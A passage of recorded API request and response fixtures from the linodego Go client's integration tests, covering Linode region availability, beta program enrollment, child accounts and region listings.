"unavailable": []}, {"region": "us-sea", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "br-gru", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "nl-ams", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "se-sto", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "es-mad", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "in-maa", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "jp-osa", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "it-mil", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "us-mia", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "id-cgk", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "us-lax", "available": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes"], "unavailable": []}, {"region": "us-den-edge-1", "available": ["Linodes"], "unavailable": ["NodeBalancers", "Block Storage", "Kubernetes"]}, {"region": "de-ham-edge-1", "available": ["Linodes"], "unavailable": ["NodeBalancers", "Block Storage", "Kubernetes"]}, {"region": "fr-mrs-edge-1", "available": ["Linodes"], "unavailable": ["NodeBalancers", "Block Storage", "Kubernetes"]}, {"region": "za-jnb-edge-1", "available": ["Linodes"], "unavailable": ["NodeBalancers", "Block Storage", "Kubernetes"]}, {"region": "my-kul-edge-1", "available": ["Linodes"], "unavailable": ["NodeBalancers", "Block Storage", "Kubernetes"]}, {"region": "co-bog-edge-1", "available": ["Linodes"], "unavailable": ["NodeBalancers", "Block Storage", "Kubernetes"]}, {"region": "mx-qro-edge-1", "available": ["Linodes"], "unavailable": ["NodeBalancers", "Block Storage", "Kubernetes"]}, {"region": "us-hou-edge-1", "available": ["Linodes"], "unavailable": ["NodeBalancers", "Block Storage", "Kubernetes"]}, {"region": "cl-scl-edge-1", "available": ["Linodes"], "unavailable": ["NodeBalancers", "Block Storage", "Kubernetes"]}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestAccountBetaPrograms.yaml000066400000000000000000000255571474652371000322310ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/betas?page=1 method: GET response: body: '{"data": [{"id": "rtx_4000_ada_beta", "label": "NVIDIA RTX 4000 Ada Series GPU Beta", "description": "Our new cloud GPUs are available to a limited number of customers for early access. Powered by the NVIDIA Quadro RTX 4000 Ada generation GPU cards, these GPUs are optimized for media workloads such as media transcoding, but fit a range of use cases for parallelization such as training for AI models and data analysis. If accepted for early access participation, you will be notified via support ticket with instructions and resources. Beta GPUs are subject to standard charges.", "started": "2018-01-02T03:04:05", "ended": null, "greenlight_only": false, "more_info": "https://www.linode.com/docs/products/compute/compute-instances/plans/gpu/"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "786" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"id":"rtx_4000_ada_beta"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/betas method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/betas?page=1 method: GET response: body: '{"data": [{"id": "rtx_4000_ada_beta", "label": "NVIDIA RTX 4000 Ada Series GPU Beta", "enrolled": "2018-01-02T03:04:05", "description": "Our new cloud GPUs are available to a limited number of customers for early access. Powered by the NVIDIA Quadro RTX 4000 Ada generation GPU cards, these GPUs are optimized for media workloads such as media transcoding, but fit a range of use cases for parallelization such as training for AI models and data analysis. If accepted for early access participation, you will be notified via support ticket with instructions and resources. Beta GPUs are subject to standard charges.", "started": "2018-01-02T03:04:05", "ended": null}, {"id": "global_load_balancer_beta", "label": "Akamai Global Load Balancer Pre-Registration", "enrolled": "2018-01-02T03:04:05", "description": "The Akamai Cloud Load Balancer (ACLB) (formerly referred to as Akamai Global Load Balancer) is a layer 4 and 7 load balancer that distributes traffic based on performance, weight, and content (HTTP headers, query strings, etc.). The ACLB is a multi-region, multicloud, independent of Akamai Delivery, and built for East-West and North-South traffic. Key features include multi-region load balancing and method selection. Beta for this product is coming soon\u2013 sign up to be contacted first when ACLB is available.\r\n\r\nPlease note: Akamai Cloud Load Balancer is not currently available in beta testing. By signing up to participate in this beta when it becomes available, you consent to be subscribed to receive emails from Akamai cloud computing services marketing and be contacted via email when the beta period begins.", "started": "2018-01-02T03:04:05", "ended": "2018-01-02T03:04:05"}, {"id": "vpc_beta", "label": "Virtual Private Cloud (VPC) Pre-Registration", "enrolled": "2018-01-02T03:04:05", "description": "VPC is now generally available for all customers. Select VPC in the side navigation to get started.", "started": "2018-01-02T03:04:05", "ended": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 3}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/betas/rtx_4000_ada_beta method: GET response: body: '{"id": "rtx_4000_ada_beta", "label": "NVIDIA RTX 4000 Ada Series GPU Beta", "enrolled": "2018-01-02T03:04:05", "description": "Our new cloud GPUs are available to a limited number of customers for early access. Powered by the NVIDIA Quadro RTX 4000 Ada generation GPU cards, these GPUs are optimized for media workloads such as media transcoding, but fit a range of use cases for parallelization such as training for AI models and data analysis. If accepted for early access participation, you will be notified via support ticket with instructions and resources. Beta GPUs are subject to standard charges.", "started": "2018-01-02T03:04:05", "ended": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "656" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestAccountChild_basic.yaml000066400000000000000000000136501474652371000320160ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/child-accounts?page=1 method: GET response: body: '{"data": [{"company": "DX Child Account", "email": "dl-linode-dev-dx@akamai.com", "first_name": "DX-Child", "last_name": "Team", "address_1": "", "address_2": "", "city": "", "state": "", "zip": "", "country": "", "phone": "", "balance": 0.0, "tax_id": "", "billing_source": "akamai", "credit_card": {"last_four": null, "expiry": null}, "balance_uninvoiced": 0.0, "active_since": "2018-01-02T03:04:05", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "LKE HA Control Planes", "Machine Images", "VPCs"], "active_promotions": [], "euuid": "E89C475E-7476-4B95-95EA82BB4EE866E3"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - child_account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1200" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/child-accounts/E89C475E-7476-4B95-95EA82BB4EE866E3 method: GET response: body: '{"company": "DX Child Account", "email": "dl-linode-dev-dx@akamai.com", "first_name": "DX-Child", "last_name": "Team", "address_1": "", "address_2": "", "city": "", "state": "", "zip": "", "country": "", "phone": "", "balance": 0.0, "tax_id": "", "billing_source": "akamai", "credit_card": {"last_four": null, "expiry": null}, "balance_uninvoiced": 0.0, "active_since": "2018-01-02T03:04:05", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "LKE HA Control Planes", "Machine Images", "VPCs"], "active_promotions": [], "euuid": "E89C475E-7476-4B95-95EA82BB4EE866E3"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - child_account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1200" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/child-accounts/E89C475E-7476-4B95-95EA82BB4EE866E3/token method: POST response: body: '{"id": 118940, "scopes": "*", "created": "2018-01-02T03:04:05", "label": "dx-parent-account_411983_1709135656", "token": "bc15402a4afa325689ed1c208607394f6f180121a52e53889e84bf28b2c0c5cd", "expiry": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "221" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - child_account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1200" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestAccountEvents_List.yaml000066400000000000000000001021451474652371000320670ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", 